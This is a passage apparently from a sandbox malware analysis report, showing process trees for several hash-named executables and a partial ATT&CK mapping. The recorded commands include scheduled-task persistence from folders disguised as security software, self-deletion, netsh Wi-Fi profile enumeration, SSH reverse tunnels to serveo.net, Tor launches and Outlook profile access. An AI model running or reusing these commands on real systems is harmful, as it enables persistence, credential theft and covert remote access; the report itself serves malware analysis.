      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      PID:5828

C:\Users\Admin\Desktop\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
"C:\Users\Admin\Desktop\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe"
1⤵
PID:6920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\Desktop\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe" &&START "" "C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe"
  2⤵
  PID:6460

C:\Users\Admin\Desktop\5066eca9c7309af16c882ffae79ceee93d5c8a8bcfe3726455c9b5589a492553.exe
"C:\Users\Admin\Desktop\5066eca9c7309af16c882ffae79ceee93d5c8a8bcfe3726455c9b5589a492553.exe"
1⤵
PID:5336
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\7tv8YBc7VT8b.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\7tv8YBc7VT8b.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:7748
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "7tv8YBc7VT8b" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\7tv8YBc7VT8b.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\RarSFX0\7tv8YBc7VT8b.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\7tv8YBc7VT8b.exe"
    3⤵
    PID:7940

C:\Windows\system32\chcp.com
chcp 65001
1⤵
PID:5432

C:\Windows\system32\PING.EXE
ping 127.0.0.1
1⤵
- Runs ping.exe
PID:7400

C:\Windows\system32\chcp.com
chcp 65001
1⤵
PID:8084

C:\Windows\system32\PING.EXE
ping 127.0.0.1
1⤵
- Runs ping.exe
PID:8152

C:\Windows\system32\findstr.exe
findstr "SSID BSSID Signal"
1⤵
PID:8136

C:\Windows\system32\netsh.exe
netsh wlan show networks mode=bssid
1⤵
PID:8112

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
1⤵
PID:5060
- C:\Windows\system32\findstr.exe
  findstr /R /C:"[ ]:[ ]"
  2⤵
  PID:8636
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  PID:8604
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:8564

C:\Windows\system32\chcp.com
chcp 65001
1⤵
PID:8448

C:\Windows\system32\findstr.exe
findstr "SSID BSSID Signal"
1⤵
PID:8652

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
1⤵
PID:8824
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:8864
- C:\Windows\system32\findstr.exe
  findstr "SSID BSSID Signal"
  2⤵
  PID:8904
- C:\Windows\system32\netsh.exe
  netsh wlan show networks mode=bssid
  2⤵
  PID:8896

C:\Windows\system32\netsh.exe
netsh wlan show profiles
1⤵
PID:7068

C:\Windows\system32\findstr.exe
findstr /R /C:"[ ]:[ ]"
1⤵
PID:448

C:\Windows\system32\chcp.com
chcp 65001
1⤵
PID:5028

C:\Windows\system32\chcp.com
chcp 65001
1⤵
PID:8924

C:\Windows\system32\findstr.exe
findstr /R /C:"[ ]:[ ]"
1⤵
PID:5488

C:\Windows\system32\chcp.com
chcp 65001
1⤵
PID:5780

C:\Windows\system32\findstr.exe
findstr "SSID BSSID Signal"
1⤵
PID:6152

C:\Windows\System32\OpenSSH\ssh.exe
"ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:3325 serveo.net
1⤵
PID:1764

C:\Windows\System32\OpenSSH\ssh.exe
"ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:7081 serveo.net
1⤵
PID:912

C:\Windows\system32\netsh.exe
netsh wlan show networks mode=bssid
1⤵
PID:5988

C:\Windows\system32\findstr.exe
findstr "SSID BSSID Signal"
1⤵
PID:3608

C:\Windows\system32\netsh.exe
netsh wlan show networks mode=bssid
1⤵
PID:6172

C:\Windows\system32\chcp.com
chcp 65001
1⤵
PID:8836

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
1⤵
PID:8264

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
1⤵
PID:8016

C:\Windows\system32\netsh.exe
netsh wlan show profiles
1⤵
PID:8260

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
1⤵
PID:5564

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
1⤵
PID:8804

C:\Windows\System32\OpenSSH\ssh.exe
"ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6149 serveo.net
1⤵
PID:9152

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:5488

C:\Users\Admin\AppData\Local\WindowsSecurity\7tv8YBc7VT8b.exe
"C:\Users\Admin\AppData\Local\WindowsSecurity\7tv8YBc7VT8b.exe"
1⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
PID:9124

C:\Windows\system32\schtasks.exe
schtasks /create /tn "7tv8YBc7VT8b" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\7tv8YBc7VT8b.exe" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:9088

C:\Windows\system32\findstr.exe
findstr "SSID BSSID Signal"
1⤵
PID:9028

C:\Windows\system32\netsh.exe
netsh wlan show networks mode=bssid
1⤵
PID:9020

C:\Windows\system32\chcp.com
chcp 65001
1⤵
PID:8976

C:\Windows\system32\findstr.exe
findstr /R /C:"[ ]:[ ]"
1⤵
PID:8644

C:\Windows\system32\netsh.exe
netsh wlan show networks mode=bssid
1⤵
PID:8620

C:\Windows\system32\netsh.exe
netsh wlan show profiles
1⤵
PID:8612

C:\Windows\system32\chcp.com
chcp 65001
1⤵
PID:8428

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:8644

C:\Windows\System32\tar.exe
"C:\Windows\System32\tar.exe" -xvzf "C:\Users\Admin\AppData\Local\Temp\tmp7836.tmp" -C "C:\Users\Admin\AppData\Local\84tnjh4449"
1⤵
PID:7580

C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
"C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious use of SetWindowsHookEx
PID:5444
- C:\Users\Admin\AppData\Local\84tnjh4449\tor\tor.exe
  "C:\Users\Admin\AppData\Local\84tnjh4449\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\84tnjh4449\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:2132

C:\Windows\system32\schtasks.exe
schtasks /create /tn "a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:6196

C:\Windows\system32\chcp.com
chcp 65001
1⤵
PID:8076

C:\Users\Admin\AppData\Local\WindowsSecurity\RF6tg7YH.exe
C:\Users\Admin\AppData\Local\WindowsSecurity\RF6tg7YH.exe
1⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
PID:5176
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
  2⤵
  PID:6752
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:7508
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    PID:8132
- - C:\Windows\system32\findstr.exe
    findstr /R /C:"[ ]:[ ]"
    3⤵
    PID:8052
- C:\Windows\System32\OpenSSH\ssh.exe
  "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:3325 serveo.net
  2⤵
  PID:7584
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5060
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
  2⤵
  PID:7924
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:7464
- - C:\Windows\system32\netsh.exe
    netsh wlan show networks mode=bssid
    3⤵
    - Executes dropped EXE
    PID:6288
- - C:\Windows\system32\findstr.exe
    findstr "SSID BSSID Signal"
    3⤵
    PID:9272

C:\Users\Admin\AppData\Local\WindowsSecurity\7tv8YBc7VT8b.exe
C:\Users\Admin\AppData\Local\WindowsSecurity\7tv8YBc7VT8b.exe
1⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
PID:8456
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
  2⤵
  PID:7300
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:8384
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    PID:9348
- - C:\Windows\system32\findstr.exe
    findstr /R /C:"[ ]:[ ]"
    3⤵
    PID:9364
- C:\Windows\System32\OpenSSH\ssh.exe
  "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:7081 serveo.net
  2⤵
  PID:8916
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
  2⤵
  PID:4176
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:8108
- - C:\Windows\system32\netsh.exe
    netsh wlan show networks mode=bssid
    3⤵
    PID:9492
- - C:\Windows\system32\findstr.exe
    findstr "SSID BSSID Signal"
    3⤵
    PID:9548

C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
1⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
PID:7632
- C:\Windows\System32\OpenSSH\ssh.exe
  "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6149 serveo.net
  2⤵
  PID:5072
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
  2⤵
  PID:3056
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:9088
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:6804
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    PID:8008
- - C:\Windows\system32\findstr.exe
    findstr /R /C:"[ ]:[ ]"
    3⤵
    PID:1272
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
  2⤵
  PID:9708
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:10052
- - C:\Windows\system32\netsh.exe
    netsh wlan show networks mode=bssid
    3⤵
    PID:10096
- - C:\Windows\system32\findstr.exe
    findstr "SSID BSSID Signal"
    3⤵
    PID:10104

C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:5184
- C:\Users\Admin\AppData\Local\84tnjh4449\tor\tor.exe
  "C:\Users\Admin\AppData\Local\84tnjh4449\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\84tnjh4449\torrc.txt"
  2⤵
  PID:6288

C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
PID:4728
- C:\Users\Admin\AppData\Local\9krryil1hy\tor\tor.exe
  "C:\Users\Admin\AppData\Local\9krryil1hy\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\9krryil1hy\torrc.txt"
  2⤵
  PID:8620

C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe
C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538.exe
1⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
PID:5644
- C:\Windows\System32\OpenSSH\ssh.exe
  "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:8928 serveo.net
  2⤵
  PID:8036
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
  2⤵
  PID:5740
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:7376
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    PID:7920
- - C:\Windows\system32\findstr.exe
    findstr /R /C:"[ ]:[ ]"
    3⤵
    PID:8784
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
  2⤵
  PID:7484
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:9264
- - C:\Windows\system32\netsh.exe
    netsh wlan show networks mode=bssid
    3⤵
    PID:9628
- - C:\Windows\system32\findstr.exe
    findstr "SSID BSSID Signal"
    3⤵
    PID:9636

C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
C:\Users\Admin\AppData\Local\WindowsSecurity\34e5bd67fbd9a7040dca9cae90e36013aaeda1940bb39e7fcd5d5fa9c85cadc8.exe
1⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
PID:5380
- C:\Windows\System32\OpenSSH\ssh.exe
  "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:5760 serveo.net
  2⤵
  PID:7384
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
  2⤵
  PID:5772
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Executes dropped EXE
    PID:8620
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:9384
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    PID:9656
- - C:\Windows\system32\findstr.exe
    findstr /R /C:"[ ]:[ ]"
    3⤵
    PID:9688
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
  2⤵
  PID:10032
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:10120
- - C:\Windows\system32\netsh.exe
    netsh wlan show networks mode=bssid
    3⤵
    PID:10160
- - C:\Windows\system32\findstr.exe
    findstr "SSID BSSID Signal"
    3⤵
    PID:10168

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 924 -p 4728 -ip 4728
1⤵
PID:5828

C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:2508
- C:\Users\Admin\AppData\Local\84tnjh4449\tor\tor.exe
  "C:\Users\Admin\AppData\Local\84tnjh4449\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\84tnjh4449\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:6932

C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:9416
- C:\Users\Admin\AppData\Local\9krryil1hy\tor\tor.exe
  "C:\Users\Admin\AppData\Local\9krryil1hy\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\9krryil1hy\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:9576

C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:4060
- C:\Users\Admin\AppData\Local\84tnjh4449\tor\tor.exe
  "C:\Users\Admin\AppData\Local\84tnjh4449\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\84tnjh4449\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:8776

C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
PID:2500
- C:\Users\Admin\AppData\Local\9krryil1hy\tor\tor.exe
  "C:\Users\Admin\AppData\Local\9krryil1hy\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\9krryil1hy\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:7124

C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:10136
- C:\Users\Admin\AppData\Local\84tnjh4449\tor\tor.exe
  "C:\Users\Admin\AppData\Local\84tnjh4449\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\84tnjh4449\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:5748

C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
PID:6136
- C:\Users\Admin\AppData\Local\9krryil1hy\tor\tor.exe
  "C:\Users\Admin\AppData\Local\9krryil1hy\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\9krryil1hy\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:6612

C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:7884
- C:\Users\Admin\AppData\Local\9krryil1hy\tor\tor.exe
  "C:\Users\Admin\AppData\Local\9krryil1hy\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\9krryil1hy\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:7380

C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:5996
- C:\Users\Admin\AppData\Local\84tnjh4449\tor\tor.exe
  "C:\Users\Admin\AppData\Local\84tnjh4449\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\84tnjh4449\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:6508

C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
C:\Users\Admin\AppData\Local\EsetSecurity\dba803bf0917907fad2aa9163b78a20ba8ba2b9a79cf105dede3a5acd821236a.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:10336
- C:\Users\Admin\AppData\Local\9krryil1hy\tor\tor.exe
  "C:\Users\Admin\AppData\Local\9krryil1hy\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\9krryil1hy\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:10528

C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
C:\Users\Admin\AppData\Local\EsetSecurity\a245b51ab711d20b944edca262659dba3a0ee6d1590c8f55a858ce82e2a1c647.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:10328
- C:\Users\Admin\AppData\Local\84tnjh4449\tor\tor.exe
  "C:\Users\Admin\AppData\Local\84tnjh4449\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\84tnjh4449\torrc.txt"
  2⤵
  - Executes dropped EXE
  PID:10556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Scheduled Task/Job

Privilege Escalation

Scheduled Task/Job

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery